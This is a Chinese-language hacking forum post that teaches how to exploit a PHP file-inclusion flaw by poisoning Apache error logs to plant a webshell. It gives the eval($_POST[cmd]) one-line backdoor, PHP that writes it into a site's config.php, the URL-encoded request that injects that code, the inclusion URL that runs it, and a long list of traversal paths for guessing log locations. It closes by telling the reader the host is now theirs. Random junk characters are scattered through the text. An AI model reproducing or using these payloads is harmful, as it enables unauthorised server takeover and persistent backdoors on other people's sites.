php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
<?eval($_POST[cmd]);?>   

( D+ \0 v% O2 j8 {+ r% X到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
0 c9 I5 _4 O3 u- o/ afopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
  l* N, A8 U/ I7 nfclose($fp);?>   //在config.php里写入一句木马语句
6 L+ R' n3 v$ j  X
) M/ j$ }5 L3 v& E" C  x/ p我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
- Z6 s) g* o. Y& A" @config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
; O- U5 A& o2 tfclose%28%24fp%29%3B%3F%3E
& y& {$ k, B* j' e我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
, I- ?" W$ X& ?5 v& s%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
1 `3 c4 t3 G/ f
. V; b+ `' g* d4 \8 h& W这样就错误日志里就记录下了这行写入webshell的代码。
' K  w) c3 u1 _$ v- ?我们再来包含日志，提交
" ~! t* M1 ^& g. `! P2 G$ P7 ]http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
# N7 K  r( j2 Q/ p
, h2 K1 c- n$ s# v" p  O0 F) J这样webshell就写入成功了，config.php里就写入一句木马语句
* X9 }4 b0 v- H2 h8 Y( qOK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
/ X0 u9 d" f& W6 U! }, Y
其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
3 k# v. l$ J  |5 h+ \../../../../../../../../../../var/log/httpd/error_log
6 @% ?+ Z9 q: L. L9 b../apache/logs/error.log
0 @; x" {2 a9 X../apache/logs/access.log
../../apache/logs/error.log
* }. ?3 e/ Z* I6 _9 E7 S+ O8 P../../apache/logs/access.log
3 q* l2 r0 D* M( F3 G../../../apache/logs/error.log
../../../apache/logs/access.log
$ A) s8 K) j" x& X3 j../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
1 m* ]! a% A, v1 L" ^../../../../../../../../../../etc/httpd/logs/error_log
3 G1 N# u0 w$ b4 v8 A../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
$ R4 p# [( i; b- J../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
9 A% n! D; h8 |5 [: C% m../../../../../../../../../../var/log/apache/access.log
& _  g; f% {( v: z) [$ m& q2 U../../../../../../../../../../var/log/access_log
2 R3 H/ z' k7 X../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
* ]# o6 p4 y0 A# m* V../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
9 W5 }7 [4 ~' ]" _& D9 P../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
4 \  |6 L6 k9 {/ ?) P../apache/logs/error.log     
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
" ?' |- p: e$ H' m../../../apache/logs/access.log
$ \0 S+ y) T# s, @2 _/etc/httpd/logs/acces_log
/ l  j# D) s" `* s6 @/etc/httpd/logs/acces.log
- A1 f- X7 Z" ^. n2 A  b( _9 k; P2 a/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/ Y* o( Q4 Z  E0 \' T4 |/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
2 O* O+ V1 H% u- Z% u0 [- V/var/www/logs/error.log
/usr/local/apache/logs/error_log
* T) H0 P7 u+ `2 r' `/usr/local/apache/logs/error.log
3 I; S0 Z: {8 [/ e& W/var/log/apache/error_log
/var/log/apache/error.log
  q9 x4 n6 @$ N9 V& v/var/log/access_log
/var/log/error_log